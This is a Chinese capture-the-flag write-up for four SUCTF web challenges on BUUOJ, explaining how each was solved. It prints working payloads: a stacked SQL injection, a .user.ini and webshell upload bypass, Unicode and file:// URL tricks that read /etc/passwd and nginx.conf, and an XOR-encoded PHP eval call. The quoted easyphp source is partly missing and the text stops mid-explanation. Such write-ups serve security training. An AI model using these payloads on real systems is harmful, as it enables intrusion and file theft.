buuoj部分wp

Web

1.[SUCTF]EasySQL

预期解

后台的查询语句可能为select $_POST['a'] || flag from flag,此时的||为管道符,即前面的查询输出作为后面查询的输入。如果光是这样的话,我们是查询到flag表中的数据的(关键字被过滤),如下只能得到前面查询语句的查询结果:

buuoj部分wp_第1张图片

所以要利用该查询语句查询到flag,我们应该将||转换成字符连接符,这样就能将前后查询结果拼接在一起返回。
这里需要修改mysqlsql_mode的一个配置pipes_as_concat,这样就可以达到目的。
buuoj部分wp_第2张图片

而且该题目支持堆叠查询
所以如下payload:

1;set sql_mode=pipes_as_concat;select 1'
buuoj部分wp_第3张图片

非预期

*,1

buuoj部分wp_第4张图片

2.[SUCTF]CheckIn

题目中过滤了.htaccess,不过还有.user.ini可以利用。
可是还有个exif_imagetype的限制,这里可以直接在文件中加入xbm文件头

#define test_width 16
#define test_height 7

来绕过。
所以最后上传.user.ini和一句话木马


访问上传目录下的index.php,根据.user.ini的作用,将会去包含图片马
buuoj部分wp_第5张图片

3.[SUCTF]Pythonginx

官方WP说是black hat2019上的东西

预期解

buuoj部分wp_第6张图片

利用这个特殊的符号作为间隔,绕过代码中对suctf.cc的检验。前面是c,刚好是suctf.cc的第二个c,后面的u则用usru去接收。其中de1ta使用的是以下代码找到符合条件的特殊字符

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

然后用../../../以及file协议去读取文件,根据题目提示,去读取nginx的配置文件,如下:

file://suctf.c℆sr/../../../../../../usr/local/nginx/conf/nginx.conf


发现flag文件,读取文件

file://suctf.c℆sr/fffffflag

非预期

  1. 可以用替代.从而绕过检测,如:
file://suctf。cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://suctf。cc/usr/fffffflag
  1. 使用%C5%BF代替s绕过,如:
file://%C5%BFuctf.cc/../../../../../../usr/local/nginx/conf/nginx.conf
file://%C5%BFuctf.cc/usr/fffffflag
  1. 利用file:////suctf.cc/etc/passwd绕过
    buuoj部分wp_第7张图片

    可以发现不管是urlparse还是urlsplit都是无法识别到host的,即为空
    buuoj部分wp_第8张图片
    然后经过题目中代码的转化,可以发现原本parts[1]的位置(host)还是为空,但是在urlunsplit重新拼接的时候,parts[0]:fileparts[1]:parts[2]://sucft.cc/etc/passwd拼接起来刚好就是file://suctf.cc/etc/passwd
    也就是说urlspliturlunsplit的过程中去掉了//

4.[SUCTF]easyphp

源码如下:

18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
  1. _长度要小于18
  2. 要绕过preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)正则
  3. 相同字符的个数要少于12个(这题中没什么用)
  4. 调用get_the_flag去触发文件上传

上面这里基本上是和https://xz.aliyun.com/t/5677一致,再联系到国赛lovemath
那题。不难想到要通过异或或者取反以及使用花括号获得GET请求中另一个参数,然后另外的那个参数去调用get_the_flag()。因为过滤了取反运算,所以我们采用异或运算去构造。

首先构造出_GET,使用字符串_GETascii码与0xffffffff异或,得到0xa0b8baab

buuoj部分wp_第9张图片

然后使用0xa0b8baab^0xffffffff就可以构造出_GETascii码。
所以我们使用%ff%ff%ff%ff^%a0%b8%ba%ab,然后结果会进行一次url解码,所以会得到_GET

php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都⾃自动作为字符串串,7.2开始提出要被废弃,不过目前还存在着。所以其实有没有过滤引号都无所谓。

然后就要用到花括号了,${_GET}这种方式可以获得GET请求中所有变量的值,如下:

buuoj部分wp_第10张图片

所以我们就可以使用${_GET}{%ff}的形式去读取GET请求中%ff的值(这里{}和[]是同样效果),如下:

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
buuoj部分wp_第11张图片

接下来是上传文件部分。

  1. 文件后缀不能包括ph
  2. 文件中不能出现
  3. 文件格式要绕过exif_imagetype($tmp_name)

这跟之前的Checkin差不多思路,后缀问题可以用.htaccess绕过,因为可以根据phpinfo发现php版本为7.2,所以无法用短标签绕过

7.0.0   The ASP tags <%, %>, <%=, and the script tag 
                    
                    

你可能感兴趣的:(buuoj部分wp)